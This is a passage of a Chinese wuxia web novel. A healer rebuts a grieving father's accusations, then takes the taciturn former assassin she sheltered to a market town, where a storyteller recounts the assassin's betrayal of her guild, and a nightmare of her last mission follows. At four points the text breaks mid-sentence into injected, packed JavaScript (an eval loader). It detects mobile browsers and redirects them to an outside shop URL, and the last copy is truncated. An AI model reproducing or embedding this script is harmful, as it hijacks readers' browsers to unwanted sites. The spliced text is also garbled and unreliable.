她望着汉子狰狞癫狂的脸,听着他口中颠倒黑白、蛮不讲理的指责,再看向被逼到石桌旁、退无可退的莫絮语。 一个冰冷的念头划过脑海:让她经历一次,也好。 让她亲眼看看,她拼尽全力救治的“人”里,有多少是这般面目。 让她尝尝这种滋味,尝尝被人误解、被人指责、被人恩将仇报的滋味。 尝尝自己的善意,不仅没有换来感激,反而招致一身麻烦、一身怨恨的滋味。 让她知道,这世间,从来都不是她想象中那般温暖纯粹。 不是所有的善意都能换来回报,更多的是无端的麻烦,是猝不及防的危险,是不分青红皂白的指责与怨恨。 医者仁心,可仁心,往往最容易被人利用,最容易被人践踏。 这样,她或许就能记住这个教训。 下次再在乱葬岗,或是别的什么地方,遇到像自己这样浑身是伤、来历不明、浑身都透着危险气息的人时,能硬起心肠,转身离开。 这才是对她最好的保护。 闻不言垂在身侧的手,悄然握紧,又缓缓松开。 她站在原地,像一尊没有感情的雕像,只是沉默地看着。 莫絮语被汉子逼得后背抵住了石桌边缘,退无可退,汉子的手几乎要碰到她的肩膀。 她没有尖叫,也没有慌乱地看向闻不言求助。 就在那只手即将抓住她的前一瞬,莫絮语忽然抬起了头。 她脸上惯有的温暖明亮的笑容消失了,取而代之的是一种闻不言从未见过的神情。 她并没有试图格挡或躲避那只手,反而向前踏了一小步,声音不高,却异常清晰,带着一种穿透嘈杂的力度,直直刺入汉子狂乱的耳中: “这位大哥,你儿子受伤,是在两个多时辰前,在老林子里,被大虫所伤,对吗?” 汉子被她这突如其来的冷静问话弄得一愣,动作下意识顿住:“是、是又怎样?!” “从老林子到镇上,最快也要大半个时辰,你背着他先去镇上找大夫,镇上大夫说没救,让你准备后事,你才想起我这山脚小院,又背着他赶过来,对不对?” “我……”汉子语塞。 “也就是说,从你儿子受伤,到你把他背到我这里,中间至少过去了两个半时辰。” “他伤在肺腑,肋骨刺穿内里,大量失血,这样的伤势,莫说两个半时辰,便是一个时辰内得不到有效救治,生机也已渺茫。” 她目光清亮,直视着汉子充血的眼睛:“我见到他时,他气息将绝,脉象已散,我明确告诉你,即便我当时立刻用开胸之法,成功的机会也不足三成,而不用此法,他绝无生理,这一点,镇上那位大夫,想必也已告知于你。” 汉子张了张嘴,想反驳,却发现自己竟找不到话来驳斥。 莫絮语说的句句是实情。 他只是不愿意接受,只是需要找一个发泄悲痛和自责的出口。 “你怪我见死不救?” 莫絮语微微挑眉,语气依旧平静,却透着一股不容置疑的力道: “我若真不想救,大可以像镇上大夫一样,直接告诉你‘没救了,抬走吧’,何必多费唇舌,向你解释那凶险万分、我自己也从未有十足把握的法子? 我若真怕担责任,怕惹麻烦,从一开始就不会让你把他放进我的院子!” 她顿了顿,声音里终于带上了一丝压抑的怒意,却并非针对眼前的悲剧,而是针对这无理的指责: “我在这山脚行医,收过你们多少铜板、几把青菜当诊金?我图你们什么?图你今日来砸我的院子,还是图你指着我的鼻子骂我黑心肝?” 汉子被她一连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305406|198708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 串的话问得哑口无言,脸上的暴怒和怨恨渐渐被混合着悲痛和羞愧的神情取代。 他举着的手无力地垂落下来,踉跄着后退一步,看着地上儿子冰冷的尸体,又看看眼前这个年纪轻轻却目光如炬的女大夫,喉咙里发出嗬嗬破碎的哽咽。 “我……我……”他捂着脸,蹲下身,终于像个失去一切的父亲那样,嚎啕大哭起来,哭声里充满了绝望和追悔莫及。 莫絮语看着蹲在地上痛哭的汉子,眼中锐利慢慢褪去,重新浮上来的是一种复杂的怜悯。 她没有再说什么责备的话,只是轻轻叹了口气。 她转身,走到屋檐下,拿起一块平时用来盖草药的干净粗布,走回来,轻轻盖在了少年惨白冰冷的脸上。 而后,她走到水缸边,舀水,仔仔细细地洗手。 水流冲过她纤细却稳当的手指,冲走可能沾染的血污,也仿佛要冲淡这院中弥漫的死亡与悲伤。 做完这一切,她才抬起头,目光越过蹲在地上哭泣的汉子,看向了始终沉默站在一旁的闻不言。 闻不言也正看着她。 四目相对。 闻不言在那双眼睛里,没有找到预料中的惊慌失措、委屈流泪,或者后怕恐惧。 她看到的,是一种经历过冲击后,反而更加清晰的坚韧,一种洞悉了人性某些灰暗面后,依然选择站在这里做自己该做事情的平静。 原来……她不是傻的。 闻不言忽然清晰地意识到这一点。 莫絮语并非她最初以为的那种,仅凭一腔热血和所谓“仁心”就盲目行善、不懂世间险恶的天真医者。 她懂得权衡,知道凶险,甚至预见到了可能招致的麻烦和误解。 但她还是选择了说出那个只有三成把握的方法,还是选择了在对方无理指责时,条理分明地捍卫自己的立场和医道,而不是软弱地哭泣或退缩。 她有她的原则,有她的智慧,也有她的锋芒。 只是这锋芒,平时被她那过于温暖明亮的外壳包裹着,轻易不示于人前。 闻不言心底那层自以为是的“保护”念头,忽然间显得有些可笑,也有些……多余。 莫絮语不需要她用这种残酷的方式去“教导”她江湖险恶,她比自己想象的更能面对这些。 莫絮语看着闻不言,似乎从她眼中读懂了某些复杂的情绪。 她没说什么,只是走到闻不言身边,声音恢复了往常的温和:“吓到了?” 闻不言摇了摇头。 莫絮语笑了笑:“没事就好,帮我把那边的扫帚拿过来吧,地上……得收拾一下。” 闻不言默默转身,去拿扫帚。 小院里,汉子压抑的哭声断断续续,莫絮语和闻不言沉默地清理着地上的血迹。 有些东西,在悄然改变。 至少,在闻不言冷寂的心湖里,关于“莫絮语”的印象,又清晰地刻下了一笔。 她不是需要被护在羽翼下、不经风雨的娇花。 她是一株既能散发温暖药香,也能在风雨中挺直脊梁的……特别的植物。 而自己那满身血腥的过往,若真的暴露在她面前,她又会是怎样的反应? 是畏惧退缩,还是……像今日这般,冷静地直面,或者试图去“清理”? 闻不言握着扫帚的手,微微收紧。 她忽然,不那么确定了。 11. 哭声 汉子背着儿子冰冷的尸身,踉跄着消失在院门外时,莫絮语站在篱笆边,目送佝偻的背影远去,直到彻底看不见了,才慢慢转过身。 闻不言以为她会难过,至少会沉默一阵。 可她只是拍了拍手上的灰,走到水缸边又洗了遍手,然后抬起头,看向闻不言。 “阿闷。”声音平静得让闻不言有些意外。 “你刚才摇头,是说他没救了,对吧?” 闻不言点了点头。 “你懂医术?”莫絮语问。 闻不言摇头。 她不懂医术,但懂生死,看得太多,摸得太准,一个人是死是活,摸到脉搏的瞬间就能判断。 莫絮语“哦”了一声,没再追问,反而把话题又绕了回去:“所以,你的心病,到底是什么事?” 闻不言:“……” 她没想到,刚刚经历过那样一场闹剧,对方还能如此迅速若无其事地把注意力转回她身上。 这女人脑子里到底装了什么? “不能说?”莫絮语歪了歪头,见她沉默,也不逼问,只是叹了口气郁闷道:“好吧,你不说,我就只能自己琢磨了。” 她走到石桌边坐下,托着腮,眼睛望着药圃里随风轻摇的草药,像是在自言自语,又像是在对闻不言说: “心病归根到底是心结,淤在心里,堵着气血,扰着神魂,最忌讳的就是一个人闷着,越想越深,越深越出不来。” 她转过头,看向闻不言,眼睛忽然亮了起来:“有了,明天早上,你跟我去镇上逛逛吧!” 闻不言:“?” “就这么定了!” 莫絮语一拍桌子站起来,根本不给她拒绝的机会: “你既然不愿意说,那我就按我的法子来治,心病要疏,不能堵,老待在这小院里,对着四面墙,能想出什么来?就得出去走走,看看人,听听声,沾沾烟火气。” 她走到闻不言面前,仰着脸看她,眨巴着眼睛:“阿闷,你想治,对吧?” 闻不言迟疑片刻,点头。 “那就听我的。” 莫絮语笑了,笑容里又有了往常明亮的温度:“咱们慢慢试,这个法子不行,就换一个,总能找到对你管用的。” 她说完,转身往厨房走:“晚上想吃什么?还有鸡蛋,炒个韭菜鸡蛋?再煮个粥?” 闻不言站在原地,看着她轻快的背影,一时竟不知该作何反应。 这女人……情绪转得也太快了。 前一刻还在面对生死与指责,下一刻就能若无其事地讨论晚饭和“治病”。 是她心太大,还是……习惯了? 晚饭果然有韭菜炒鸡蛋,黄绿相间油亮亮的,配着清粥,简单却香。 莫絮语每次吃饭时话都很多,说镇东头李记的烧饼可香了,明天正好去买两个给闻不言尝尝; 说前街布庄新进了一批细棉布,摸着可软了,想扯点回来备着做秋衣; 还说听说书场来了个新先生,讲书讲得很好,明天要是去得早,说不定能听上一段。 她絮絮叨叨地规划着明天的行程,真当只是一次寻常的赶集。 闻不言安静地喝着粥,心里头却不松快。 去镇上。 人多,眼杂。 息声楼虽然主要在北方活动,但在南方一带也有暗桩。 她这张脸,虽然不算特别醒目,但若有心人留意,难保不会认出。 更何况,她身上一股洗不掉的杀气,还有那些经年累月留下的伤疤痕迹,在普通人眼里或许只是“不好惹”,但在同行或楼里探子眼中,就是明晃晃的标记。 太冒险了,她不该去。 可莫絮语那双亮晶晶的眼睛在眼前晃——她说“你想治,对吧?”“那就听我的。”“咱们慢慢试。” 闻不言垂下眼,筷子拨弄着碗里的粥米。 或许……今晚就该走了。 趁她睡着,悄无声息地离开,像之前无数次打算的那样。 夜色渐深,闻不言和衣躺在床上,睁着眼,听着隔壁的动静。 莫絮语洗漱完,在屋里窸窸窣窣了一阵,很快,灯灭了,呼吸声变得均匀绵长。 她睡着了。 闻不言坐起身,悄无声息地走到窗边。 月光很好,洒在院子里,一片清辉。 药圃的轮廓在夜色中也依然清晰可见,新劈的柴火在屋檐下码得整整齐齐,那张新做的桌子静静立在树下,桌面反射着月色微光。 一切都很好。 好得让她觉得,自己再多留一刻,都是玷污。 她伸手,推开窗户。 就在她一条腿跨上窗台,准备跃出的瞬间—— 隔壁房间,传来一声极轻的啜泣。 声音太轻,轻得几乎要被夜风吹散,可她的耳朵太灵,灵到能捕捉到那不是梦呓。 是清醒、压抑的哭声。 闻不言维持着抬腿的姿势,一动不动。 月光照在她半边脸上,明暗分明。 白天莫絮语平静的脸一下出现在了眼前,她条理分明地反驳汉子的话也响起在耳边,若无其事规划明天行程的样子差点就把自己骗。 原来……不是不难过,只是不想让人看见。 闻不言缓缓收回腿,关上了窗户。 她走回床边,坐下,听着隔壁那断断续续、极力压低的啜泣声,垂下头,看着自己的手。 这双手,今晚本来可以干净利落地离开,不带走一片云彩,也不留下一丝痕迹,就像她从前做的每一次那样。 可这啜泣声像一根极细的丝线,缠住了她的脚踝,明明不紧,却挣不开。 她忽然想起莫絮语白天说的话:“最忌讳的就是一个人闷着。” 所以她自己呢? 她是不是也常常这样,在无人看见的深夜里,一个人闷着,把那些来不及消化的情绪,一点点嚼碎了,咽下去,然后第二天,再笑着对人说: “今天天气真好”? 闻不言躺回床上,闭上了眼睛。 隔壁的啜泣声渐渐停了。 只有月光,无声地流淌过两扇相邻的窗。 —— 翌日清晨,莫絮语推开房门时,眼睛有点肿。 她似乎刻意用冷水敷过,但仔细看,还是能看出些微痕迹。 “早啊阿闷!” 她扬起笑容,声音清脆的和往常一样:“今天天气真好,适合赶集!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305407|198708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>闻不言站在院子里,正在给药圃浇水,她转过头,看向对方。 阳光落在莫絮语脸上,衬的那双眼睛依旧明亮,笑容依旧灿烂,仿佛昨夜压抑的啜泣声,只是闻不言的错觉。 “快点收拾,咱们早点去,还能赶上李记头一炉烧饼!”莫絮语一边说,一边麻利地梳头、换衣,把一个小布包挎在肩上。 闻不言沉默地放下水瓢,回屋换了身干净的旧布衣。 莫絮语上下打量她,忽然“噗嗤”笑出来:“你这身……算了,到了镇上,给你买身合身的。” 闻不言摇头。 “摇头也没用。”莫絮语叉腰:“你可是我神医谷山脚分号的‘头号欠债人’,穿得破破烂烂的,丢的是我的面子!走啦走啦!” 她不由分说,拉着闻不言就往外走。 山道蜿蜒,晨露未晞。 莫絮语走在前面,脚步轻快,嘴里哼着不成调的小曲,偶尔停下来,指着路边的某株草药说: “这是车前草,清热利尿”,或者说:“看,金银花开得多好”。 闻不言跟在她身后半步,沉默地听着,目光却警惕地扫视着四周。 山林寂静,只有鸟鸣和两人的脚步声。 一切如常。 可越是平静,闻不言心里就绷得越紧。 “阿闷。”莫絮语忽然回头,看着她:“你别老绷着个脸,放松点,咱们是去赶集,又不是去打架。” 闻不言看了她一眼,没反应。 莫絮语叹了口气,转回头,继续往前走,嘴里嘀咕:“算了,慢慢来。” 不知走了多久,便看见了青灰色的城墙。 晨光里,镇子刚刚苏醒,城门开着,挑担的、推车的、挎篮的百姓进进出出,人声渐渐嘈杂起来。 莫絮语显然对这里很熟,轻车熟路地领着闻不言穿过城门,走进青石板铺就的街道。 街道两旁,店铺陆续开张,伙计们卸下门板,摆出货物; 早点摊子冒着热气,炸油条的香味混着豆浆的甜香飘过来; 卖菜的农妇蹲在街边,面前摆着沾着露水的青菜; 货郎摇着拨浪鼓,吆喝着“针头线脑,胭脂水粉”…… 烟火气扑面而来。 闻不言的脚步顿了顿。 她已经很久没有这样,走在寻常的市井街巷里,像一个普通人。 上一次……是什么时候? 记不清了。 在息声楼的日子,要么在训练,要么在执行任务,要么在养伤。 偶尔潜入城镇,也是隐匿行踪,目标明确,完事即走,从未像现在这样,漫无目的地走在晨光熙攘的街道上。 “发什么呆?”莫絮语拉了她一把,避开一个推着独轮车的老汉:“走,先去李记买烧饼!” 李记烧饼铺子前已经排起了队,炉火正旺,面香混着芝麻香,诱人十足。 莫絮语排到队伍里,踮着脚往前看,嘴里念叨:“今天人不少啊,不知道能不能买到糖馅的……” 闻不言站在她身侧,目光不动声色地扫过排队的人群,扫过街对面蹲着吃面的脚夫,扫过倚在茶馆门口闲聊的茶客,扫过每一个可能藏有危险的角度。 没有异常。 12. 听书 “两个糖馅的!两个咸馅的!”轮到莫絮语时,她欢快的声音一下把身边人拉回神。 伙计麻利地用油纸包好烧饼递过来,莫絮语付了钱,转身就把一个糖馅的塞到闻不言手里: “趁热吃!李记的烧饼,凉了就不酥了!” 闻不言看着手里热腾腾、油汪汪的烧饼,有些无措。 “吃呀!”莫絮语已经咬了一大口自己的,腮帮子鼓起来,满足地眯起眼:“嗯……好吃!” 周围都是寻常百姓,蹲着站着,吃着烧饼,说着家长里短。 闻不言迟疑片刻,低下头,小小地咬了一口。 糖馅热得烫嘴,芝麻香混着面香,是她不曾体会过的人间滋味。 “怎么样?” 闻不言点了点头。 “我就说嘛!”莫絮语得意地笑了,三两口吃完烧饼,又拉着闻不言往前走:“走,去布庄看看!” 布庄里,莫絮语摸着那些细棉布,仔细比较着花色,时不时拿起一匹在闻不言身上比划: “这个颜色衬你……这个太花了,不行……哎,这块青灰色的不错,耐脏,料子也软。” 闻不言像个木偶一般站着,任由她摆布。 布庄老板是个胖胖的中年妇人,笑眯眯地看着她们:“莫大夫,这是你亲戚?长得真俊。” 莫絮语回头看了一眼,笑着应了声:“嗯......” 闻不言也没反驳。 老板说着,突然道:“莫大夫,你听说了没?昨儿个山里老孙家那孩子,没了。” 莫絮语手上的动作顿了顿,脸上的笑容淡了些:“听说了。” “唉,可怜见的。” 老板叹气:“那孩子才十五,听说被大虫抓得……惨哟,老孙也是,背到镇上,王大夫说没救了,孩子估计走得很受罪。” 莫絮语没接话,只是继续挑布。 老板自顾自地说:“要我说,这就是命,山里人,命硬,可也脆。” “婶子说的是。”莫絮语笑了笑,挑好了布:“就这块青灰色的,扯七尺,再要那块月白的,扯五尺。” “好嘞!”老板利落地量布、裁剪。 闻不言站在一旁,看着莫絮语付钱、接过布匹,脸上笑容依旧,可眼底细微的波动,没能逃过她的眼睛。 从布庄出来,莫絮语抱着布匹,忽然说:“阿闷,我们去听书吧。” 说书馆在镇子西头,门脸不大,挂着块半旧的木匾,上书“醒木轩”三字。 还没进门,就听见里面醒木“啪”地一拍,夹杂着说书先生抑扬顿挫、唾沫横飞的声音,还有茶客们偶尔的叫好声。 莫絮语熟门熟路地领着闻不言挤过门口几个探头探脑的闲汉,寻了个靠墙角的空桌坐下。 小二麻利地过来擦了擦,上了两碗最便宜的粗茶。 “这的先生说书可有意思了,什么江湖轶事、前朝秘闻,都能说得跟真的一样,有时候还能听到些咱们不知道的‘内幕’呢。” 闻不言没法回应,她的注意力全在环境上。 说书馆里光线昏暗,空气混浊,十几张桌子坐得七七八八,多是些闲散汉子、走卒贩夫,也有几个穿着稍体面些的,摇着扇子,听得摇头晃脑。 台上,一个留着山羊胡、穿着半旧长衫的干瘦老头,正说到兴头上,手舞足蹈。 “……话说那‘息声楼’,诸位可曾听闻?”说书先生捋了捋胡子,吊足了胃口。 底下有人喊:“听过听过!北方那个顶厉害的杀手组织嘛!神出鬼没,要价极高!” “没错!” 醒木又是一拍:“这息声楼里,高手如云,但要说其中最锋利的一把刀,最沉默的一把剑,那非得是天字一号——‘无言刃’!” 闻不言端着粗瓷茶碗的手,几不可察地顿了一下。 茶水微烫,透过碗壁传来,却压不住心底骤然窜起的一丝寒意。 她垂下眼,浓密的睫毛遮住了眸中瞬间翻涌的冷光。 莫絮语却听得津津有味,还抽空小声跟闻不言嘀咕:“‘无言刃’?这代号起得跟阿闷你倒是有点像,都不爱说话。” 闻不言:“……” 台上,说书先生已然进入了状态,却不知主角就在台下,仿佛亲眼所见般描绘起来: “这‘无言刃’啊,据说身高八尺,膀大腰圆,力能举鼎!使一把玄铁重剑,舞动起来虎虎生风,等闲人近不得身! 最厉害的是她那一手剑法,快如闪电,狠如毒蝎,往往只见寒光一闪,目标便已喉头见血,当真是一剑封喉,名副其实的‘无言’——让你再也说不出话!” 底下响起一片抽气声和啧啧惊叹。 莫絮语也微微睁大了眼,小声评价:“八尺?那得多高啊……还使重剑?听着像个莽夫,不够飘逸。” 闻不言面无表情地听着,心中却感荒谬。 身高八尺?力能举鼎?玄铁重剑? 楼里训练时确实要练力气,但她主修的是隐匿、一击必杀的短兵和暗器技巧,身形也是为了灵活而非魁梧。 这些市井传言,真是离题万里。 然而,接下来的话,却让她后背渐渐沁出冷汗。 “这‘无言刃’为息声楼效力多年,专接最棘手、最隐秘、也最是脏污的活计!” 说书先生压低了声音,营造出神秘氛围: “多少朝廷命官、江湖豪强、富商巨贾,不明不白就丢了性命,背后多半有这只‘无言之手’啊!可谓杀人如麻,血债累累!” 茶客们听得屏息凝神,仿佛现场的血腥气已扑面而来。 莫絮语皱了皱眉,低声道:“杀人如麻……不管杀的是好人坏人,沾这么多血,心里难道不会不安吗.....”她说着,下意识地看了一眼身边的闻不言。 闻不言端坐如钟,掌心中却已是一片冰凉。 那些被刻意尘封的画面,似乎随着说书人的话语,又要挣脱束缚翻涌上来。 她强行压住,将注意力集中在说书人接下来的内容上,心跳却不受控制地加快。 “老话道,天道好轮回,苍天饶过谁!”说书先生话锋一转,戏剧性夸张的把音量提高。 “许是杀孽太重,连这冷血无情的‘无言刃’,竟也生出了一丝从善之心,或者说……是怕那阴司报应!” “哦?怎么回事?”底下有人急切追问。 “据说某次楼里接了一桩天大的买卖,目标乃是朝廷一位举足轻重的重臣!” 说书先生环视四周,见所有人都竖起了耳朵,才满意地继续: “这等人物,身边护卫何等森严?任务之艰难,可想而知,楼里自然派出了这把最锋利的刀——‘无言刃’!” “按说,以‘无言刃’的身手和以往作风,此事应是十拿九稳,可奇就奇在,行动那夜,目标却并未毙命!而‘无言刃’自此下落不明,活不见人,死不见尸!” 馆内一片哗然。 “失手了?这不可能吧?” “难道是那重臣身边有绝世高手?” 说书先生摇头晃脑:“非也非也!据楼内隐隐传出的消息,并非失手,而是‘无言刃’在最后关头,竟心软了!放了那重臣一条生路!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305408|198708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊?!”惊呼声四起。 “这杀手竟还有良心发现的时候?” “坏了规矩,息声楼岂能容她?” “正是如此!”醒木重重一拍,震得桌面茶碗轻响: “息声楼楼主得知此事,勃然大怒!楼里规矩,铁板一块,从未有人敢违逆,更何况是放走如此重要的目标?这不仅是失败,更是背叛!楼主当即下令,清理门户!” 闻不言的五指攥在了一起。 尽管早有预料,但亲耳听到自己的“结局”被这样公开讲述,被钉在耻辱柱上的感觉依旧尖锐。 “清理门户?”莫絮语听得入神,忍不住追问旁边的茶客:“那‘无言刃’死了吗?” 那茶客也是个爱搭话的,立刻回道:“听说啊,是被赐了毒酒,尸体都扔乱葬岗了!这等叛徒,就是这下场!” 莫絮语“哦”了一声,点点头,脸上露出些微感慨:“也是可怜,到底还是存了点善念,却落得这个结局。” 她完全没把这故事和身边这个沉默的“阿闷”联系起来,只觉得是个唏嘘的江湖传闻。 然而,说书先生的话还没完。 “但是——”他又拖长了语调:“江湖风波恶,事事难料,近来又有另一种说法悄悄流传,说那‘无言刃’或许并未真的死去!” 闻不言的心猛地一沉,骤然抬眼看向台上。 莫絮语也惊讶:“没死?不是喝了毒酒扔乱葬岗了吗?” “嘿嘿,这就是蹊跷之处了。” 说书先生捋着山羊胡,眼中闪着狡黠的光: “有人说,那毒酒或许有假;有人说,乱葬岗根本就没找到符合特征的尸体……总之,活不见人,死不见尸,息声楼对此讳莫如深,反而更惹人猜疑啊!” 馆内议论纷纷,各种猜测层出不穷。 闻不言只觉得那一道道好奇、探究、恐惧的目光,好似无形中穿透了昏暗的光线,落在了自己身上。 她把背脊挺得笔直,肌肉却已绷紧,如同蓄势待发的弓弦,每一寸感官都放大到极致,警惕着任何可能出现的异动。 冷汗,悄无声息地浸湿了她内衫的背部。 莫絮语却完全沉浸在故事的悬疑里,她托着腮,眼睛盯着说书先生,兀自分析着: “要是真没死,那她现在肯定东躲西藏,被息声楼满天下追杀吧?这日子可怎么过?不过她能从那等龙潭虎穴逃出来,本事也是真大……” 她说着,忽然想起什么一样,转头看向闻不言,却见对方脸色似乎比平时更白了些,唇线抿得死紧。 “阿闷?你怎么了?是不是这里太闷了?脸色这么难看。” 闻不言猛地回神,对上莫絮语清澈中带着关切的眼睛,她极其轻微地摇了摇头,示意自己没事。 莫絮语却不太放心,伸手探了探她的额头: “没发热啊……是不是昨晚没睡好,又做噩梦了?要不咱们先回去?” 闻不言再次摇头,目光重新投向台上。 说书先生已经开始讲另一个江湖儿女情长的故事,关于“无言刃”的惊魂片段似乎只是今日的一个插曲,已然翻篇。 莫絮语见她坚持,便也不再勉强,只是将那碗已经温凉的粗茶往她手边推了推: “那喝点水,缓一缓,这故事是有点吓人,听得我都心里发毛,不过都是传闻,当不得真,说不定那‘无言刃’早就死了,江湖嘛,就爱传这些神神秘秘的。” 闻不言端起茶碗,借由喝水的动作,掩去眸中深沉的晦暗。 当不得真? 可其中血淋淋的核心,偏偏就是真的。 13. 梦魇缠身 莫絮语本来还想带闻不言在镇上多逛一会,但自说书馆出来,闻不言的脸色一直很差,加上突然大雨,让她们不得不先回去。 当晚的雨,下得和乱葬岗那夜一样大。 雨点劈里啪啦砸在屋顶新补好的茅草上,却盖不住闻不言耳边越来越清晰的嘈杂。 刀锋破开皮肉的闷响、骨头的碎裂声,濒死之人喉咙里嗬嗬的抽气,还有……那些怨毒、恐惧、绝望的咒骂与哀求。 “杀手!走狗!你不得好死!” “饶命……饶了我……我有钱,都给你……” “我做鬼也不会放过你!” 身体沉重得像被钉在床上,眼皮却轻飘飘地掀开一条缝。 看不到具体的场景,只有大片大片黏稠、流动的暗红色,像泼翻的朱砂,又像永远也流不尽的血。 她在血里行走,眼前画面开始闪现。 第一次握刀,刀柄冰冷,师父的声音毫无波澜:“握紧,这是你的手,你的命。” 第一次杀人,是个山匪头子,满脸横肉,死前瞪着她,嘴里汩汩冒血,含混地骂着什么。 她手很稳,利器精准地刺入心脏,拔出来时,温热的血溅了她一脸,把胃里所有东西都吐空了。 后来,就习惯了。 刀成了手臂的延伸,成了吃饭喝水一样的日常。 目标的脸在她眼里渐渐模糊,只剩下需要清除的“障碍”,需要完成的“任务”。 可总有些面孔,顽固地不肯褪色。 一个赈灾途中被截杀的清官,死前看着她,眼里震惊、悲哀,唯独没有多少恐惧,他说: “一身本事……何不为民除害?” 一个被灭门的镖师,护着身后妻儿的尸体,目眦欲裂: “江湖败类!助纣为虐!” 一个…… 画面猛地一转。 最后一次任务。 目标是个朝廷大员,府邸森严,她潜进去的过程并不算太难,楼里的情报很准,路线、守卫换岗的间隙、目标的作息,分毫不差。 她像一道影子,融入夜色,避开巡逻的护卫,悄无声息地接近书房。 窗纸上映出伏案疾书的人影。 她推门,闪身而入,动作快得只带起一丝微风。 书案后的男人抬起头,约莫四十许,眼中疲惫、惊愕,却没有寻常官员见到刺客时的慌乱。 “你来了。”他像是早就料到。 闻不言没有废话,刀已出鞘,寒光映着跳动的烛火,直取咽喉。 这一刀,她练过千万遍,绝不会失手。 刀锋逼近的刹那,男人忽然开口,语速很快: “我书房暗格第三层,有漕运总督与北地豪绅勾结,私贩军械、侵吞赈银、草菅人命的铁证! 我若死,这些东西随我埋没,不知又有多少百姓要家破人亡!” 刀尖在离他喉咙寸许处停住。 闻不言的眼神冰冷无波。 这种话,她听过不止一次,将死之人,为了活命,什么都能编出来。 “你可以杀我。” 男人看着她,眼神复杂:“但我求你,至少……看看那些东西,若你看后仍觉得我该死,我引颈就戮,绝不反抗。” 他的眼神太亮,亮得有些灼人,就像烧到最后的炭,明明快要熄灭,却拼尽全力迸出最后一点光。 她刀锋未进,顺着男人示意的方向,找到了那个隐蔽的暗格。 打开,里面是厚厚一摞账册、密信,还有几份血迹斑斑的状纸。 她随手翻开一页。 密密麻麻的字迹,记录着时间、地点、人物、银钱数目、货物清单……条理清晰,证据确凿。 其中一桩,正是某年北地雪灾,朝廷拨下的十万两赈灾银,被层层盘剥,最终到灾民手中的不足一成,冻饿而死者数以千计。 而经手此事、中饱私囊的几个关键人物,名字赫然在列。 她的手几不可察地颤了一下。 “他们是我的政敌,也是国之蛀虫。” 男人的声音在身后响起:“我收集这些,历时三载,几经生死,此番回京,便是要拼着这顶乌纱、这项上人头,将此案捅破天,他们……容不下我了。” 闻不言合上账册,放回原处。 她转过身,刀依旧握在手里,烛火将她的影子拉长,投在墙壁上,像沉默的鬼魅。 杀,还是不杀? 楼里的规矩铁一般森严:接令必行,目标必死;违逆者,死。 眼前这人,是“障碍”,是“任务”。 他死,自己活;他活,自己……很可能死。 可那些账册上的血泪,男人眼中执拗的光,像细小的针,扎进她早已冷硬如铁的心防,留下一点微不足道、却挥之不去的刺痛。 就在她心神微乱、杀意迟滞的刹那—— “爹!” 一个稚嫩清脆的童音突兀地响起。 书房内侧的小门被推开一条缝,一个穿着粉色寝衣、约莫五六岁的小女孩揉着惺忪睡眼,摇摇晃晃地走了出来。 然后,她看到了闻不言,看到了她手中映着烛光的刀。 小女孩愣了一会,似乎没完全明白眼前的情景,但她本能地感到了父亲那边的紧张和危险。 “爹!”她又喊了一声,迈开小短腿,竟直直朝着闻不言的方向跑来。 男人脸色骤变:“莲儿!别过来!回去!” 可小女孩已经跑到近前,她似乎被父亲惊恐的语气吓到,脚步顿了顿,却还是伸出小手,一把抱住了离她最近闻不言的腿。 闻不言浑身一僵。 她杀过很多人,男人,女人,老人,甚至……半大的少年,但从未有过这么小的孩子,以这样全然不设防的姿态,靠近她,抱住她。 小女孩仰起脸,大眼睛里蓄满了泪水,她看着闻不言蒙着面巾、只露出一双冰冷眼睛的脸,小嘴一瘪,带着哭音央求: “姐姐……你不要杀我爹,好不好?我爹是好人……他是好官……” 她紧紧抱着闻不言的腿,仿佛这样就能挡住所有伤害。 那一刻,男人面如死灰,眼中是彻底的绝望。 闻不言握着刀的手,已把指节捏得发白,刀锋上的寒光,似乎都黯淡了几分。 她应该踢开这孩子,或者顺手…… 不,腿上传来的温热触感,小女孩眼中纯粹的信赖与哀求,像一道猝不及防的光,劈开了她眼前弥漫的血色。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 